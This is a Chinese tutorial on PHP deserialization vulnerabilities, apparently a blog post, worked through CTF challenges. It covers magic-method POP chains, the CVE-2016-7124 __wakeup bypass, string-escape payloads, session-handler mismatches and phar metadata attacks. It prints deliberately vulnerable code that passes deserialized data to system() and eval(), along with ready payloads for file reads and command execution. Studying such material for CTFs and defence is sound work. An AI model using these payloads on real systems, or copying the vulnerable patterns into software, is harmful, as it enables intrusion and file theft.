序列化&反序列化

  • 因为数据存储的需要于是有了序列化和反序列化函数,类似还有json_encode,json_decode.PHP反序列化的方式很多,漏洞也很多,知识点也很多。于是我想结合CTF来学习PHP的反序列化漏洞,再深入到实战。
函数名 作用
Serialize 可以将数组或对象转换成字符串进行存储(有时候WAF改变了所存的储数据,则可能产生漏洞)
Unserialize 将序列化的字符串转换为PHP值(我们如果能控制反序列化时传输的数据,则可能产生漏洞)
<?php
class basic{
    public $age = 18;
    private $name = 'pan3a';
    protected $gender = 'man';
    var $data = array('one','two');

}
$object = new basic();
$ser = serialize($object);
var_dump($ser);
print_r(unserialize($ser));
  • 输出展示,类方法并没有参与序列化这里的00代表一个字符即chr(0)所展示的字符,由于不可见,经常使用URL编码来展示。
  • private---%00类名%00成员名
  • protected---%00*%00成员名
  • PHP7.1后,对成员属性不敏感则可绕过对字符属性检测,同时也可以用大写S,后面字符可用十六进制表示来绕过。可参考网鼎杯2020青龙组AreUSerialz.
string(133) "O:5:"basic":4:{s:3:"age";i:18;s:11:"00basic00name";s:5:"pan3a";s:9:"00*00gender";s:3:"man";s:4:"data";a:2:{i:0;s:3:"one";i:1;s:3:"two";}}"
basic Object
(
    [age] => 18
    [name:basic:private] => pan3a
    [gender:protected] => man
    [data] => Array
        (
            [0] => one
            [1] => two
        )

)
  • 这里反序列化的数据类型都是字符类型的缩写
a - array b - boolean d - double i - integer o - common object r - reference
s - string C - custom object O - class N - null R - pointer reference U - unicode string

PHP魔术方法

函数名 作用
__construct 类的构造函数,在类初始化时自动调用(类似于Python的_init_(self))
__destruct 类的析构函数,PHP5引用,在类作用域结束时使用(通常用于反序列化利用链开始)
__sleep 执行serialize()函数之前执行该函数
__wakeup 执行unserialize()函数之前执行该函数(通常用于反序列化之前的初始化,CVE-2016-7124可以Bypass此魔术方法)(PHP5-PHP5.6.25 AND PHP7-PHP7.0.10)
__tostring 类被当做字符串时自动调用(比如输出语句,字符串拼接,字符比较等等)
__invoke 把类当做一个函数使用时调用
__get 访问不存在属性,或不可访问属性比如protected
<?php

class people{
    public $age;
    private $name = 'forever404';
    protected $gender;

    public function __construct($age, $name, $gender){
        $this->age = $age;
        $this->name = $name;
        $this->gender = $gender;
        echo '__construct自动调用啦!';
        echo 'My name is '.$name.',I am '.$age.' Years old,'.'I am a '.$gender.'!'.PHP_EOL;
    }

    public function __destruct(){
        echo '当前类的生命周期结束啦,__destruct析构函数被自动调用啦!'.PHP_EOL;
    }

    public function __sleep(){
        echo '调用serialize()函数啦!'.PHP_EOL;
        return array('age','name','gender');
        // 必须返回父类中序列化元素属性,否则NULL被序列化会报错
    }

    public function __wakeup(){
        echo '调用unserialize()函数啦!'.PHP_EOL;
        $this->age = 100;
        $this->name = 'Panda';
    }

    public function __toString(){
        return '对象被当做字符串处理了!'.PHP_EOL;
    }


}
$O = new people($age='18',$name='pan3a', $gender='man');
$ser = serialize($O);
var_dump($ser);
print_r(unserialize($ser));
echo '这是我的第一个类---'.$O;
?>
  • 输出展示,会发现name,gender这两个序列化后的数据不一样,因为他们的属性分别是privateprotected,这里还有就是__destruct这个魔术方法被调用了两次,因为有实例化结束调用一次,反序列化结束调用了一次。
__construct自动调用啦!My name is pan3a,I am 18 Years old,I am a man!
调用serialize()函数啦!
/var/www/html/MagicMethod/Deserialize.php:40:
string(94) "O:6:"people":3:{s:3:"age";s:2:"18";s:12:"00people00name";s:5:"pan3a";s:9:"00*00gender";s:3:"man";}"
调用unserialize()函数啦!
people Object
(
    [age] => 100
    [name:people:private] => Panda
    [gender:protected] => man
)
当前类的生命周期结束啦,__destruct析构函数被自动调用啦!
这是我的第一个类---对象被当做字符串处理了!
当前类的生命周期结束啦,__destruct析构函数被自动调用啦!

Bypass __Wakeup

  • 这里就要用到上面提到的CVE-2016-7124---反序列化中对象的个数大于真实个数及会绕过!
  • 适用范围---PHP5-PHP5.6.25 AND PHP7-PHP7.0.10
  • PHP Online Exec.
<?php
class shell
{
    public $command = 'whoami';

    public function __wakeup(){
        $this->command = NULL;
    }

    public function __destruct(){
        if(isset($this->command)) {
            system($this->command);
        }else{
            echo 'var command is null'.PHP_EOL;
        }
    }
}
$MyShell = new shell();
$ser = serialize($MyShell);
var_dump($ser);
//    $ser = 'O:5:"shell":1:{s:7:"command";s:6:"whoami";}'
//$payload = 'O:5:"shell":2:{s:7:"command";s:3:"pwd";}';
$data = empty($_GET('payload'))?serialize($ser):$_GET('payload');
$obj = unserialize($data);
  • 运行结果展示,这里对象回收流程是先创建的后回收,类似与栈机制先进后出
  • 代码分析这个shell类首先看见的就是__wakeup方法,将变量command赋值为空,然后就是__destruct方法,如果变量command不为空则执行该命令。然后我们可控点只有变量data,但是反序列化数据时,又要先调用__wakeup方法,因此我们如果想要执行命令则必须绕过这个方法。Google到这个方法可以通过CVE-2016-7124来绕过,只需增大序列化的数据即可。因此使用上面的payload即可。
string(43) "O:5:"shell":1:{s:7:"command";s:6:"whoami";}"
/
root


PHP Notice:  unserialize(): Unexpected end of serialized data in /usercode/file.php on line 24
PHP Notice:  unserialize(): Error at offset 39 of 40 bytes in /usercode/file.php on line 24

PHP链构造

网鼎杯2020青龙组AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
  • 一上来就直接给的源码,首先看程序入口第74行,需要我们GET['str']然后再对我们所提交的数据进行反序列化,但是这里又有一个is_valid()函数对我们的输入进行了限制,大致就是遍历你的输入,对应字符的ASCII码必须再32-125意思就是可见字符,还不晓得为啥要这么写。再去看看FileHander类,发现定义的变量属性都是protected,这种属性反序列化又会是%00*%00变量名,则会出现不可见字符。再联系那个is_valid()函数清楚了。然后下其他函数process(),write(),read(),output(),功能就是函数名,分别是程序执行过程,文件写入,文件读取,输出,其中OP变量控制程序是读(2)还是写(1)。最后一个__destruct(),那么就是我们的漏洞点了。
  • 分析完函数功能,就来看利用链。首先控制类变量绕过is_vaild(),然后然后到__destruct(),再进入程序控制process(),我们需要读文件则判断变量OP=='2',进入read()函数,控制变量filename则造成任意文件读取。
  • 于是用到上面的PHP特性知识点。Google插件wappalyzer看到网站是PHP7.4.3搭建的,变量OP==2发现__destruct()用的强等(变量类型和字符都必须相等),但是后面用的弱等,那么则可绕过。
  • 发现直接文件名设为/flag.php不得行,页面报错了,那么添上绝对路径OK,flag在源码里面。
<?php
class FileHandler{
    public $op =2;
    public $filename="/var/www/html/flag.php";
}
var_dump(serialize(new FileHandler));
//O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";}
?>
<?php
class FileHandler{
    protected $op =2;
    protected $filename="/var/www/html/flag.php";
}
$exp = (serialize(new FileHandler));
$exp = str_replace('s','S', $exp);
$exp = str_replace(chr('0'),'0',$exp);
print_r(urlencode($exp));
//O%3A11%3A%22FileHandler%22%3A2%3A%7BS%3A5%3A%22%5C00%2A%5C00op%22%3Bi%3A2%3BS%3A11%3A%22%5C00%2A%5C00filename%22%3BS%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fflag.php%22%3B%7D
?>

MRCTF 2020 Ezpop

  • BUUCTF MRCTF 2020 Epop.总的来说就是构造利用链吧,看自己喜欢怎么寻找,一种是危险函数回溯方式,一种是根据可控参数寻找。
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
  • 总体来说就只有三个类,应该不算难。定位到危险函数Modifier类的append方法可以包含一个文件,可控参数value的话,那么造成任意文件包含。若要调用append方法必须调用魔术方法__invoke.而invoke方法又必须是把Modifier方法当做函数使用时才调用。
  • 发现Test类中调用了function方法。而function方法又来自Test类中的p变量可控,可任意调用方法。但必须调用__get魔术方法才能任意调用方法,而__get魔术方法有必须是访问一个不存在的属性,或私有受保护的变量。
  • 发现Show类中的__toString方法若strTest类,那么则可调用__get方法,但__toString方法必须是将类当做字符处理才能触发。
  • 反序列化执行之前,会先执行__wakeup方法,假如Show类中的source是一个类,这里的正则匹配则把这个类当成了字符处理,那么又会看这个类是否有__toString方法,有则自动调用,我们这里就自己调用自己,那么就会触发该__toString方法。
Show->wakeup---Show->toSring---Test->get---Modifier->invoke---Modifier->append
<?php
class Modifier{
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;

    public function __construct(){
        $this->str = new Test();
    }
}

class Test{
    public $p;

    public function __construct(){
        $this->p = new Modifier();
    }
}

$a = new Show();
$a->source = new Show();
print_r(urlencode(serialize($a)));
// O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

PHP反序列化字符串逃逸

借用哈大佬们名言

  • 任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。(记不得出处了)

0CTF 2016piapiapia

  • 反序列化后长度递增
  • 打开一个登录框,简单测了一下SQL注入,感觉不存在。于似乎扫了哈目录,发现存在源码泄露(www.zip)。
class.php           主要有Mysql(数据库的增删查改+WAF),user(继承Mysql,函数实现一定的功能)
config.php           配置文件,数据库的连接和flag
index.php            登录
profile.php          展示登录的个人信息和上传的图片
register.php         注册用户
update.php           文件上传
  • 由于如果代码全部贴出来文章显得很长了,就展示主要代码吧,由于代码过滤了增删查改几乎无法造成注入。那么就无法从注册登录这个点下手,发现profile.php那里有个文件读取函数,如果参数可能那么可能造成任意文件读取咯。
// profile.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
  • 回溯参数$profile['photo']来源,是反序列化$profile出来的,既然有反序列化,那么肯定有序列化.全局搜索serialize,定位到update.php文件。
<?php
 // update.php
    require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		// 中间删除了一些不必要的代码
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
  • 这里发现$profile['photo']由一个路径+MD5文件拼接而成,只能控制$file['name']但是有被加密了,从而无法利用。再继续往下看,发现将序列化的文件进行了上传,跟进函数update_profileclass.php
<?php
 // class.php
 class user extends mysql{
 // 以上还有数据库的基本操作,但后面无影响,因此不贴出来了
   	public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
}

class mysql{
	public function filter($string) {
		$escape = array(''', '\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
}
?>
  • 然后看到user类的update_profile方法其中的new_profile参数则是serialize($profile),这里的两个参数都进过mysql类中的filter方法进行过滤。注意这里的new_profile参数值是一个序列化后的数据,经过filter方法后可能改变数据结构.我们需要的则是让$profile['photo']=config.php那么就可得到flag。但是按照正常程序会如以下执行。
<?php
function filter($string) {
    $escape = array(''', '\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

$file['name'] = '1.php';
$profile['phone'] = '01234567890';
$profile['email'] = '123456@qq.com';
$profile['nickname'] = 'panda';
$profile['photo'] = 'upload/'.md5($file['name']);

$new_profile = filter(serialize($profile));
print_r($new_profile);
// a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";s:5:"panda";s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
  • 这里我们看到字符经过filter方法并没有发生改变,这是正常输入的时候,如果不正常的话的那么将select,insert,update,delete,where这些字符替换为hacker,细心点就会发现where替换后变成hacker字符长度会增加一。
  • PHP反序列化时以;作为分隔点,}做为结束标志,根据长度来判断读取多少字符,我们无法控制$profile['photo']但是可以控制nickname,如果在这里截断(不在读取后面的内容)我们则可以构造后面的参数值。而nickname又进行了长度限制,strlen函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,从而达到$profile['photo']参数可控。就类似于,下面用的是数组因此niackname后面为数组标示。
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:5:"panda";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
  • 我们则要构造如上的形式,就利用上面的where转换后字符长度加一的特性来构造我们的payload。计算下面的payload长度,因此需要34个长度的溢出,则需要34个where来构造因此拼接如下则是
";}s:5:"photo";s:10:"config.php";}
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
  • 刚好反序列化后$profile['photo']=config.php.
<?php
function filter($string) {
    $escape = array(''', '\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

$file['name'] = '1.php';
$profile['phone'] = '01234567890';
$profile['email'] = '123456@qq.com';
$profile['nickname'] = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['photo'] = 'upload/'.md5($file['name']);

$new_profile = filter(serialize($profile));
print_r($new_profile);
echo PHP_EOL;
print_r(unserialize($new_profile));
/*
输出展示
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3b94e88bd1bd325af6f62828c8785dd";}
Array
(
    [phone] => 01234567890
    [email] => 123456@qq.com
    [nickname] => Array
        (
            [0] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
        )

    [photo] => config.php
)
*/
  • 这个就像你有一条204米长的绳子,还有一把204米的尺子,这样刚好可以量完长度。但是你的绳子突然长长了,那么一次肯定就不够量了,剩下的只有下次再量。反序列化也是如此,他只根据他的长度来读取内容,剩下的他就不管了,用作下一次读取。

安询杯2019-easy_serialize_php

  • 反序列化后长度递减
  • 一上来就给源码了,看了一下phpinfo发现自动包含了d0g3_f1ag.php文件。
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
  • 源码不多,首先来个filter过滤函数,后面给Session赋值,extract则可能变量覆盖。又有file_get_contents()参数可控的话又会出现任意文件读取。
  • 老方法,看了哈文件读取的$_SESSION['img']参数不可控,$_SESSION['user']$_SESSION['function']我们可以通过变量覆盖来控制。倘若按照平常来看的话,最后文件读取出来极大可能是乱码,因此现将文件读取路径base64加密再sha1加密,那么直接base64是解不出正常文件的。
<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$file = 'd0g3_f1ag.php';
$sess['user'] = 'panda';
$sess['function'] = 'show_image';
$sess['img'] = sha1(base64_encode($file));


$ser_info = filter(serialize($sess));
print_r($ser_info);
// a:3:{s:4:"user";s:5:"panda";s:8:"function";s:10:"show_image";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
  • 上面并没有触发过滤函数,如果触发了过滤函数,那么关键字则会被替换为空。假如我们的user的值或者function值中有黑名单中的函数,那么这可能不会成功的反序列化,因为序列化后的结构可能会被打乱。假如$_SESSION['user']='phpflag'那么序列化后则是
a:3:{s:4:"user";s:7:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
  • 可以明显的看出user值为空了,但是长度依然不变,则在反序列化时会向后继续读取数据。我们可以构造数据吞并function,而且function的值可控,用来构造恶意数据(自己构造img的值,并在最后截断数据),那么img则为可控数据了。我们需要构造的数据为,后面的数据为d0g3_f1ag.phpbase64加密,因为后面要对其进行解密再读取文件。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 由于数组的元素为三个,因此序列化里面的内容也要有三个。随意构造一个数据即可,这里是$_SESSION['name']='panda'.
a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
  • 差不多都改造完了,最后整合。
<?php
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$file = 'd0g3_f1ag.php';
$sess['user'] = 'flagflagflagflagflagflag';
$sess['function'] = '1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$sess['img'] = sha1(base64_encode($file));


$ser_info = filter(serialize($sess));
print_r($ser_info);
print_r(unserialize($ser_info));
/*
输出展示,后面读文件以此类推即可。
a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"1";s:4:"name";s:5:"panda";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"6b9b4b868ded1eb152045ebd5ea11b5be979d3ae";}
Array
(
    [user] => ";s:8:"function";s:65:"1
    [name] => panda
    [img] => ZDBnM19mMWFnLnBocA==
)
*/

Session反序列化

  • Session?这也是一个超全局变量$_Session,主要作用为追踪用户,判断请求是否来自同一个用户。比如有一个登录框,用户输入正确账号和密码后,可以访问更多的功能。但是你怎么知道用户是登录或者没登录呢?那么就需要Session或者Cookie来判断了。登录成功后可在HTTP HeadersCookie中设置特殊值---Session来区分登录用户和未登录用户。SessionCookie的主要区别则是Session值存储与服务器段因此更安全,Cookie值存储与客户端。
  • PHP中的Session存储有三种处理器,分别对应三种格式。这三种格式分别使用目前没有问题,但是混合使用则会造成漏洞。
处理器 存储格式
php 键名+竖线(|)+经过serialize序列化后的数据(默认使用该处理器)
php_serialize 经过serialize序列化后的数组
php_binary 键名长度对应的ASCII的字符+serialize序列化后的数据
  • 分别对应的记录是
<?php
// php处理器
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['php'] = 'php';
// php|s:3:"php";
<?php
 // php_serialize处理器
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['php_serialize'] = 'php_serialize';
// a:1:{s:13:"php_serialize";s:13:"php_serialize";}
<?php
// php_binary处理器
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['php_binary'] = 'php_binary';
// 注意这里的输出有个换行,因此php_binary的长度为10,ASCII码对应的字符为"n"因此有换行
// php_binarys:10:"php_binary";
  • 这里思考一下,如果用php_serialzie处理器存储,再用默认的php处理器读取,是否会出现漏洞呢?php处理器读取时会以|作为分隔符,前面作为键名,后面作为键值。假如php_serialize处理器存储的值中用|,再用php处理区去读取,那会怎样呢?
  • 提交$_SESSION['php_serialize']=|s:5:"panda";再用php处理器处理时,会认为键名为a:1:{s:13:"php_serialize";s:13:",键值为s:5:"panda";";}然后反序列化出来的值则为panda后面的长度则会被舍弃。
a:1:{s:13:"php_serialize";s:13:"|s:5:"panda";";} 

浅析Session反序列化

  • PHP session_start()---会创建新会话或者重用现有会话。如果通过GET或者POST方式,或者使用cookie提交会话ID,则会重用现有会话。当会话开始时,PHP会调用会话管理器的openread回调函数,通过read函数返回现有会话数据,PHP会自动反序列化数据并且填充$_SESSION超全局变量
  • 注意上面是GET或者POST请求而不是在PHPSTORM中用PHP脚本执行,这样的话就不是同一个会话,因此无法利用。
//创建Session CreateSession.php
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['username'];
var_dump($_SESSION);
// 读取Session  ReadSession.php
<?php
ini_set('session.serialize_handler','php');
session_start();
class vul{
    public $command;

    public function __wakeup(){
        system($this->command);
    }
}
// exp  Exploit.php
<?php
class vul{
    public $command;

    public function __construct($com){
        $this->command = $com;
    }
}
$command = 'pwd';
echo '|'.serialize(new vul($command));
// |O:3:"vul":1:{s:7:"command";s:3:"pwd";}
  • 主要有以上三个文件,首先是执行exp.php构造攻击payload,然后再在浏览器中打开CreateSession.php提交我们的payload,再在浏览器中打开ReadSession.php读取Session,那么我们的命令就会被执行。

jarvisoj.com

  • 上面是Session可控的情况下,正常情况下当然没得这种可能,因此有人提出了另一种利用方式。
  • session.upload_progress.enabled----能够对再每一个文件上传时检测上传进度。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress一样变量名时,上传进度可以再$_SESSION中获得。
  • 综上所述,就是开启session.upload_progress.enabled(PHP5.4后可用且为默认开启),构造一个文件上传,POST一个为session.upload_process的变量,那么服务器就会将POST的的这个变量作为键值序列化后存储再session中,读取时再反序列化这个session文件。
  • jarvisoj----session反序列化。直接给了源码,发现PHPINFO中默认的session存储器与代码中的不一样,因此可能存在漏洞。
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>
  • 上面的代码很简单,如果$mdzz变量可控,那么则会造成一个webshell。这里因为没有可控的反序列化点,因此需要用到上面的知识点。
  • 构造一个文件上传点(upload.html),然后再构造利用链即可。
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="panda"/>
    <input type="file" name="file"/>
    <input type="submit" />
</form>
<?php
// exp.php
class OowoO{
    public $mdzz;

    public function __construct($command){
        $this->mdzz = $command;
    }
}
echo '|'.serialize(new OowoO('print_r(scandir(dirname(__FILE__)));'));
// |O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
  • 最后访问构造的upload.html,burp抓包更改上传文件名值为exp.php所输出的内容即可,记得访问题目所携带的cookie

jarvisoj

Phar反序列化

  • 随着安全意识的提高,直接存在的unserialize()的参数也几乎都是不可控了,于是Sam ThomasBlackHat上提出了新的利用方式。议题PDF.
  • 主要参考:Seebug seaii zsx 师傅. 看他们文章自己所学的一些复现与理解。
  • 议题的主要内容是可以不用再借助反序列化函数构造反序列化利用链,通过php内置的数据流协议-----phar结合一些文件操作函数(参数可控)。

浅析Phar

  • 查看官方手册大概讲的就是phar是一个数据压缩协议,可以将多个文件分组成一个文件。可以通过phar协议直接读取,就像类似的zip压缩一样。这样的文件当然有固定的特征。(个人理解)
  • stub,phar文件的标志,格式为:xxxxxxx<?php xxxxxxxx; __HALT_COMPILER();?>,相当于一段文字只要是__HALT_COMPILER();?>结尾即可。
  • meta-data,用户可以自定义的数据,主要是用来存储文件的权限,属性等信息,同时这部分数据是以序列化存储的。
  • 最后就是文件的签名,来标识数据的结束。
  • 以上就是构造一个phar文件上传,然后就是控制文件操作函数(file_exists(),file_get_contents()等)来触发反序列化操作。

Demo

  • 这里必须要改php.ini中的phar.readonly = off.假如我们发现有个简单的漏洞,能上传文件,但是把能解析的如php,phtml,php3htaccess这些都禁止了,那么但靠文件上传也许没办法了(至少我没办法了,哈哈),这里和上面的Session反序列化有点类似,但是考点不一样,这里无法看Session的存储器读取和存储时是否一致。
<?php
// vul.php
class WebShell{
    public $command;
    public function __wakeup(){
        if(!empty($this->command)) {
            eval($this->command);
        }
    }
}
$filename = $_GET['filename'];
if(!empty($filename)){
    file_get_contents($filename);
}
  • 这里很明显考的是反序列化,然后我们可控的只有文件名。于是只有Phar反序列化了。构造Phar文件,下图是我们生成出的文件。
<?php
 // CreatePhar.php
class WebShell{
    public $command;
}

// 删除原有的phar
@unlink("phar.phar");

// 实例化一个类 文件结尾必须是.phar 生成后你可以更改文件后缀
$phar = new Phar("phar.phar");

// 开始缓冲区输入
$phar->startBuffering();

// 设置Phar标识文件,这里也可构造文件头绕过上传
$phar->setStub("GIF89a "."<?php __HALT_COMPILER();?>");

$o = new WebShell();
$o->command = 'phpinfo();';

// 设置文件属性,添加反序列化内容,构造payload
$phar->setMetadata($o);

// 添加文本,这里的文件名和内容无所谓
$phar->addFromString("test.txt","panda");

// 停止缓冲区输入
$phar->stopBuffering();
?>
  • 这里可以看到前一部分可以为文件头,伪造图片文件头,但是必须以__HALT_COMPILER();?>结尾,后面就是我们序列化的内容。

HexPhar

  • 然后上传我们的文件,再带着上传文件所得的路径去请求vul.php即可,如果不允许上传phar文件,那么将生成的文件改成png这些都行

phardemo

